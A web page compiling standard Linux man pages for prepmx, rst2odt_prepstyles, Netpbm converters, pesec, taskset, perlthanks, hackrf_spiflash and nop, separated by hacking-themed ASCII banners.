NAME 🖥️ prepmx 🖥️

preprocessor for PMX, easy music typesetting program

SYNOPSIS

prepmx [options] jobname [outdir/] [stylefile]

DESCRIPTION

M-Tx is an easy to use preprocessor language for the PMX music typesetting program, aimed at people who are not experts. For an easy example, have a look at the following example:

c2+ e4 g | b4d- c1 d c2 | c8 g+ e g c- g+ e g | d g f g c- g+ e g |

For syntax reference, please look at the M-Tx manual written by Dirk Laurie, the creator of the M-Tx language and the author of prepmx(1), its command-line utility.

prepmx processes the file jobname.mtx to generate jobname.pmx. You can then process this file using the pmxab(1) command, which is a preprocessor for MusiXTeX.

outdir/ is the directory where `pmx’ will put the final .tex file. Note that the trailing slash is mandatory. You can provide a stylefile for M-Tx. If omitted, the file `mtxstyle.txt’ in the current directory is used, if there is one.

OPTIONS

Options can also be specified in a `Options:’ line in the preamble, which takes precedence over the command line.

-b
disable unbeamVocal

-c
disable doChords

-D
enable debugMode

-f
enable solfaNoteNames

-i
enable ignoreErrors

-m
disable doLyrics

-n
enable instrumentNames

-t
disable doUptext

-u
disable uptextOnRests

-v
enable beVerbose

-w
enable pedanticWarnings

**-**n
select Special Case n

-H
print enabled status of all options

EXIT STATUS

If no error was found, prepmx exits with return code 0. In case of an error, the line number of the processed line is returned. This may not always be the line containing the actual error. A return status of 10000 means that the input file was empty or could not be opened.

SEE ALSO

M-Tx User’s Guide (mtxdoc.pdf)
pmxab(1), musixtex(1)

AUTHORS

prepmx was written by Dirk Laurie <[email protected]>. This manual page was written by Roland Stigge <[email protected]> for the Debian project. It was revised and extended by Nis Martensen <[email protected]> and Bob Tennent <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1537 - Linux cli command rst2odt_prepstyles

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2odt_prepstyles and provides detailed information about the command rst2odt_prepstyles, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2odt_prepstyles.

NAME 🖥️ rst2odt_prepstyles 🖥️

strip paper size specifications off of rst2odt stylesheets

SYNOPSIS

rst2odt_prepstyles FILE

DESCRIPTION

rst2odt(1) uses a stylesheet file as a template for the ODT files it creates. The stock styles.odt file shipped with it comes without page dimensions. When rst2odt is run and detects that there no paper size is given in the stylesheet, it is automatically determined using paperconf(1).

When editing stylesheets with OpenOffice.org Writer (or similar programs), the resulting files always carry a page size. rst2odt respects this setting and ensures that documents processed with custom stylesheets look the same regardless of the host it is running on. If you want to get the original behavior, i.e. a system-dependent paper size, you can run rst2odt_prepstyles over your custom stylesheet. Remember to re-run the command whenever you change the file with a word processor.

AUTHOR

odtwriter is Copyright © 2006-2008 Dave Kuhlman < <[email protected]> >

This manual page was written by Michael Schutte for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1538 - Linux cli command rlatopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rlatopam and provides detailed information about the command rlatopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rlatopam.

.

NAME 🖥️ rlatopam 🖥️

convert Alias/Wavefront RLA and RPF image files to PAM image files.

SYNOPSIS

rlatopam

[rlafile]

DESCRIPTION

This program is part of Netpbm(1) .

rlatopam converts an Alias RLA (run-length encoded type A) or RPF (rich pixel format) image to a PAM image file. The output PAM file can be grayscale or RGB, with or without a transparency channel.

rlafile is the file name of the input file. If you omit this parameter, rlatopam reads the image from Standard Input.

There is no program in Netpbm that converts the other direction.x

OPTIONS

There are no command line options defined specifically for rlatopam, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pam(1)

HISTORY

rlatopam was new in Netpbm 10.32 (February 2006).

AUTHOR

Simon Walton Matte World Digital

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/rlatopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1539 - Linux cli command ppmtospu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtospu and provides detailed information about the command ppmtospu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtospu.

.

NAME 🖥️ ppmtospu 🖥️

convert a PPM image to an Atari Spectrum 512 image

SYNOPSIS

ppmtospu

[-d0|-d2|-d4] [ppmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

This program converts from the PPM format to the uncompressed Spectrum 512 image format used on Atari ST computers.

Input comes from the file you name with the ppmfile argument, or Standard Input by default. Output goes to Standard Output.

The input must be 320 pixels wide by 200 pixels high. If you have an image of a different size, you can use pamcut or pamscale to force it to these dimensions.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtospu recognizes the following command line options:

-d0
The program does no dithering.

-d2
The program uses a 2x2 ordered dither.

This is the default.

-d4
The program uses a 4x4 ordered dither.

SEE ALSO

sputoppm(1) , spctoppm(1) , pamscale(1) , pamcut(1) , ppm(1)

AUTHOR

Copyright (C) 1990 by Steve Belczyk

HISTORY

This program was new in Netpbm 10.58 (March 2012).

But it was written in 1990. Steve Belczyk posted it along with sputoppm, spctoppm, pi1toppm, and pi1toppm - all programs for dealing with Atari image formats - to comp.sources.misc on July 15, 1990. For reasons that have been lost to history, all of these entered the Netpbm (then Pbmplus) distribution except ppmtospu.

Georges Kesseler wondered In March 2012 why there was no counterpart to sputoppm in Netpbm and searched the web, finding only one reference to ppmtopsu: the 1990 comp.sources.misc posting, including the source code. He emailed the Netpbm maintainer suggesting it be added.

Bryan Henderson found the source code to be extremely primitive, not even using common library code. So Bryan completely recoded it, but retained nearly all of the original logic.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtospu.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1540 - Linux cli command pesec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pesec and provides detailed information about the command pesec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pesec.

NAME 🖥️ pesec 🖥️

check for protections in PE files

SYNOPSIS

pesec [OPTIONS]… pefile

DESCRIPTION

pesec checks a PE file for security features. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-f, –format <text|csv|xml|html>
Change output format (default is text).

-c, –certoutform <text|pem>
Specifies the certificate output format (default: text).

-o, –certout <filename>
Specifies the output filename to write certificates to (default: stdout).

-V, –version
Show version.

–help
Show help.

EXAMPLES

Search for protections in putty.exe:

$ pesec putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1541 - Linux cli command taskset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command taskset and provides detailed information about the command taskset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the taskset.

NAME 🖥️ taskset 🖥️

set or retrieve a processs CPU affinity

SYNOPSIS

taskset [options] mask command [argument…]

taskset [options] -p [mask] pid

DESCRIPTION

The taskset command is used to set or retrieve the CPU affinity of a running process given its pid, or to launch a new command with a given CPU affinity. CPU affinity is a scheduler property that “bonds” a process to a given set of CPUs on the system. The Linux scheduler will honor the given CPU affinity and the process will not run on any other CPUs. Note that the Linux scheduler also supports natural CPU affinity: the scheduler attempts to keep processes on the same CPU as long as practical for performance reasons. Therefore, forcing a specific CPU affinity is useful only in certain applications. The affinity of some processes like kernel per-CPU threads cannot be set.

The CPU affinity is represented as a bitmask, with the lowest order bit corresponding to the first logical CPU and the highest order bit corresponding to the last logical CPU. Not all CPUs may exist on a given system but a mask may specify more CPUs than are present. A retrieved mask will reflect only the bits that correspond to CPUs physically on the system. If an invalid mask is given (i.e., one that corresponds to no valid CPUs on the current system) an error is returned. The masks may be specified in hexadecimal (with or without a leading “0x”), or as a CPU list with the –cpu-list option. For example,

0x00000001

is processor #0,

0x00000003

is processors #0 and #1,

FFFFFFFF

is processors #0 through #31,

0x32

is processors #1, #4, and #5,

–cpu-list 0-2,6

is processors #0, #1, #2, and #6.

–cpu-list 0-10:2

is processors #0, #2, #4, #6, #8 and #10. The suffix “:N” specifies stride in the range, for example 0-10:3 is interpreted as 0,3,6,9 list.

When taskset returns, it is guaranteed that the given program has been scheduled to a legal CPU.

OPTIONS

-a, –all-tasks

Set or retrieve the CPU affinity of all the tasks (threads) for a given PID.

-c, –cpu-list

Interpret mask as numerical list of processors instead of a bitmask. Numbers are separated by commas and may include ranges. For example: 0,5,8-11.

-p, –pid

Operate on an existing PID and do not launch a new task.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

USAGE

The default behavior is to run a new command with a given affinity mask:

taskset mask command [arguments]

You can also retrieve the CPU affinity of an existing task:

taskset -p pid

Or set it:

taskset -p mask pid

When a cpu-list is specified for an existing process, the -p and -c options must be grouped together:

taskset -pc cpu-list pid

The –cpu-list form is applicable only for launching new commands:

taskset –cpu-list cpu-list command

PERMISSIONS

A user can change the CPU affinity of a process belonging to the same user. A user must possess CAP_SYS_NICE to change the CPU affinity of a process belonging to another user. A user can retrieve the affinity mask of any process.

RETURN VALUE

taskset returns 0 in its affinity-getting mode as long as the provided PID exists.

taskset returns 0 in its affinity-setting mode as long as the underlying sched_setaffinity(2) system call does. The success of the command does not guarantee that the specified thread has actually migrated to the indicated CPU(s), but only that the thread will not migrate to a CPU outside the new affinity mask. For example, the affinity of the kernel thread kswapd can be set, but the thread may not immediately migrate and is not guaranteed to ever do so:

$ ps ax -o comm,psr,pid | grep kswapd
kswapd0 4 82
$ sudo taskset -p 1 82
pid 82’s current affinity mask: 1
pid 82’s new affinity mask: 1
$ echo $?
0
$ ps ax -o comm,psr,pid | grep kswapd
kswapd0 4 82
$ taskset -p 82
pid 82’s current affinity mask: 1

In contrast, when the user specifies an illegal affinity, taskset will print an error and return 1:

$ ps ax -o comm,psr,pid | grep ksoftirqd/0
ksoftirqd/0 0 14
$ sudo taskset -p 1 14
pid 14’s current affinity mask: 1
taskset: failed to set pid 14’s affinity: Invalid argument
$ echo $?
1

AUTHORS

Written by Robert M. Love.

COPYRIGHT

Copyright © 2004 Robert M. Love. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

chrt(1), nice(1), renice(1), sched_getaffinity(2), sched_setaffinity(2)

See sched(7) for a description of the Linux scheduling scheme.

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The taskset command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1542 - Linux cli command perlthanks

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perlthanks and provides detailed information about the command perlthanks, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perlthanks.

NAME 🖥️ perlthanks 🖥️

how to submit bug reports on Perl

SYNOPSIS

perlbug

perlbug [ -v ] [ -a address ] [ -s subject ] [ -b body | -f inputfile ] [ -F outputfile ] [ -r returnaddress ] [ -e editor ] [ -c adminaddress | -C ] [ -S ] [ -t ] [ -d ] [ -h ] [ -T ]

perlbug [ -v ] [ -r returnaddress ] [ -ok | -okay | -nok | -nokay ]

perlthanks

DESCRIPTION

This program is designed to help you generate bug reports (and thank-you notes) about perl5 and the modules which ship with it.

In most cases, you can just run it interactively from a command line without any special arguments and follow the prompts.

If you have found a bug with a non-standard port (one that was not part of the standard distribution), a binary distribution, or a non-core module (such as Tk, DBI, etc), then please see the documentation that came with that distribution to determine the correct place to report bugs.

Bug reports should be submitted to the GitHub issue tracker at <https://github.com/Perl/perl5/issues>. The [email protected] address no longer automatically opens tickets. You can use this tool to compose your report and save it to a file which you can then submit to the issue tracker.

In extreme cases, perlbug may not work well enough on your system to guide you through composing a bug report. In those cases, you may be able to use perlbug -d or perl -V to get system configuration information to include in your issue report.

When reporting a bug, please run through this checklist:

What version of Perl you are running?
Type perl -v at the command line to find out.

Are you running the latest released version of perl?
Look at <http://www.perl.org/> to find out. If you are not using the latest released version, please try to replicate your bug on the latest stable release. Note that reports about bugs in old versions of Perl, especially those which indicate you haven’t also tested the current stable release of Perl, are likely to receive less attention from the volunteers who build and maintain Perl than reports about bugs in the current release.

Are you sure what you have is a bug?
A significant number of the bug reports we get turn out to be documented features in Perl. Make sure the issue you’ve run into isn’t intentional by glancing through the documentation that comes with the Perl distribution. Given the sheer volume of Perl documentation, this isn’t a trivial undertaking, but if you can point to documentation that suggests the behaviour you’re seeing is wrong, your issue is likely to receive more attention. You may want to start with perldoc perltrap for pointers to common traps that new (and experienced) Perl programmers run into. If you’re unsure of the meaning of an error message you’ve run across, perldoc perldiag for an explanation. If the message isn’t in perldiag, it probably isn’t generated by Perl. You may have luck consulting your operating system documentation instead. If you are on a non-UNIX platform perldoc perlport, as some features may be unimplemented or work differently. You may be able to figure out what’s going wrong using the Perl debugger. For information about how to use the debugger perldoc perldebug.

Do you have a proper test case?
The easier it is to reproduce your bug, the more likely it will be fixed – if nobody can duplicate your problem, it probably won’t be addressed. A good test case has most of these attributes: short, simple code; few dependencies on external commands, modules, or libraries; no platform-dependent code (unless it’s a platform-specific bug); clear, simple documentation. A good test case is almost always a good candidate to be included in Perl’s test suite. If you have the time, consider writing your test case so that it can be easily included into the standard test suite.

Have you included all relevant information?
Be sure to include the exact error messages, if any. “Perl gave an error” is not an exact error message. If you get a core dump (or equivalent), you may use a debugger (dbx, gdb, etc) to produce a stack trace to include in the bug report. NOTE: unless your Perl has been compiled with debug info (often -g), the stack trace is likely to be somewhat hard to use because it will most probably contain only the function names and not their arguments. If possible, recompile your Perl with debug info and reproduce the crash and the stack trace.

Can you describe the bug in plain English?
The easier it is to understand a reproducible bug, the more likely it will be fixed. Any insight you can provide into the problem will help a great deal. In other words, try to analyze the problem (to the extent you can) and report your discoveries.

Can you fix the bug yourself?
If so, that’s great news; bug reports with patches are likely to receive significantly more attention and interest than those without patches. Please submit your patch via the GitHub Pull Request workflow as described in perldoc perlhack. You may also send patches to [email protected]. When sending a patch, create it using git format-patch if possible, though a unified diff created with diff -pu will do nearly as well. Your patch may be returned with requests for changes, or requests for more detailed explanations about your fix. Here are a few hints for creating high-quality patches: Make sure the patch is not reversed (the first argument to diff is typically the original file, the second argument your changed file). Make sure you test your patch by applying it with git am or the patch program before you send it on its way. Try to follow the same style as the code you are trying to patch. Make sure your patch really does work (make test, if the thing you’re patching is covered by Perl’s test suite).

Can you use “perlbug” to submit a thank-you note?
Yes, you can do this by either using the -T option, or by invoking the program as perlthanks. Thank-you notes are good. It makes people smile.

Please make your issue title informative. “a bug” is not informative. Neither is “perl crashes” nor is “HELP!!!”. These don’t help. A compact description of what’s wrong is fine.

Having done your bit, please be prepared to wait, to be told the bug is in your code, or possibly to get no reply at all. The volunteers who maintain Perl are busy folks, so if your problem is an obvious bug in your own code, is difficult to understand or is a duplicate of an existing report, you may not receive a personal reply.

If it is important to you that your bug be fixed, do monitor the issue tracker (you will be subscribed to notifications for issues you submit or comment on) and the commit logs to development versions of Perl, and encourage the maintainers with kind words or offers of frosty beverages. (Please do be kind to the maintainers. Harassing or flaming them is likely to have the opposite effect of the one you want.)

Feel free to update the ticket about your bug on <https://github.com/Perl/perl5/issues> if a new version of Perl is released and your bug is still present.

OPTIONS

-a
Address to send the report to instead of saving to a file.

-b
Body of the report. If not included on the command line, or in a file with -f, you will get a chance to edit the report.

-C
Don’t send copy to administrator when sending report by mail.

-c
Address to send copy of report to when sending report by mail. Defaults to the address of the local perl administrator (recorded when perl was built).

-d
Data mode (the default if you redirect or pipe output). This prints out your configuration data, without saving or mailing anything. You can use this with -v to get more complete data.

-e
Editor to use.

-f
File containing the body of the report. Use this to quickly send a prepared report.

-F
File to output the results to. Defaults to perlbug.rep.

-h
Prints a brief summary of the options.

-ok
Report successful build on this system to perl porters. Forces -S and -C. Forces and supplies values for -s and -b. Only prompts for a return address if it cannot guess it (for use with make). Honors return address specified with -r. You can use this with -v to get more complete data. Only makes a report if this system is less than 60 days old.

-okay
As -ok except it will report on older systems.

-nok
Report unsuccessful build on this system. Forces -C. Forces and supplies a value for -s, then requires you to edit the report and say what went wrong. Alternatively, a prepared report may be supplied using -f. Only prompts for a return address if it cannot guess it (for use with make). Honors return address specified with -r. You can use this with -v to get more complete data. Only makes a report if this system is less than 60 days old.

-nokay
As -nok except it will report on older systems.

-p
The names of one or more patch files or other text attachments to be included with the report. Multiple files must be separated with commas.

-r
Your return address. The program will ask you to confirm its default if you don’t use this option.

-S
Save or send the report without asking for confirmation.

-s
Subject to include with the report. You will be prompted if you don’t supply one on the command line.

-t
Test mode. Makes it possible to command perlbug from a pipe or file, for testing purposes.

-T
Send a thank-you note instead of a bug report.

-v
Include verbose configuration data in the report.

AUTHORS

Kenneth Albanowski (<[email protected]>), subsequently doctored by Gurusamy Sarathy (<[email protected]>), Tom Christiansen (<[email protected]>), Nathan Torkington (<[email protected]>), Charles F. Randall (<[email protected]>), Mike Guy (<[email protected]>), Dominic Dunlop (<[email protected]>), Hugo van der Sanden (<[email protected]>), Jarkko Hietaniemi (<[email protected]>), Chris Nandor (<[email protected]>), Jon Orwant (<[email protected]>, Richard Foley (<[email protected]>), Jesse Vincent (<[email protected]>), and Craig A. Berry (<[email protected]>).

SEE ALSO

perl (1), perldebug (1), perldiag (1), perlport (1), perltrap (1), diff (1), patch (1), dbx (1), gdb (1)

BUGS

None known (guess what must have been used to report them?)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1543 - Linux cli command hackrf_spiflash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hackrf_spiflash and provides detailed information about the command hackrf_spiflash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hackrf_spiflash.

NAME 🖥️ hackrf_spiflash 🖥️

program Flash

DESCRIPTION

The HackRF project started by Michael Ossmann and Jared Boone to build software radio peripheral using Free Software and Free Hardware design. Care was taken to only use electronic components with published documentation (no NDAs!) and to avoid software libraries without open source licenses.

Jawbreaker is the first complete HackRF platform, a wideband software radio transceiver with a USB interface.

This application lets the user configure the on-board Flash.

SYNOPSIS

hackrf_spiflash [OPTIONS]

OPTIONS

-a, –address <n>: starting address (default: 0)

-l, –length <n>: number of bytes to read (default: 0)

-r <filename>: Read data into file.

-w <filename>: Write data from file.

SEE ALSO

Great Scott Gadgets HackRF web page: http://greatscottgadgets.com/hackrf/

Other hackrf programs:

hackrf_cpldjtag(1), hackrf_debug(1), hackrf_info(1), hackrf_transfer(1)

AUTHOR

This manual page was written by Maitland Bottoms for the Debian project (but may be used by others).

COPYRIGHT

Copyright (c) 2013 A. Maitland Bottoms <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1544 - Linux cli command nop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nop and provides detailed information about the command nop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nop.

NAME 🖥️ nop 🖥️

pretty-print graph file

SYNOPSIS

nop [ -p? ] [ files ]

DESCRIPTION

nop reads a stream of graphs and prints each in pretty-printed (canonical) format on stdout. If no files are given, it reads from stdin.

OPTIONS

The following options are supported:

-p
Produce no output - just check the input for valid DOT.

-?
Print usage information.

EXIT STATUS

If any errors occurred while processing any input, such as a file not found or a file containing illegal DOT, a non-zero exit value is returned. Otherwise, zero is returned.

SEE ALSO

wc(1), acyclic(1), gvpr(1), gvcolor(1), ccomps(1), sccmap(1), tred(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

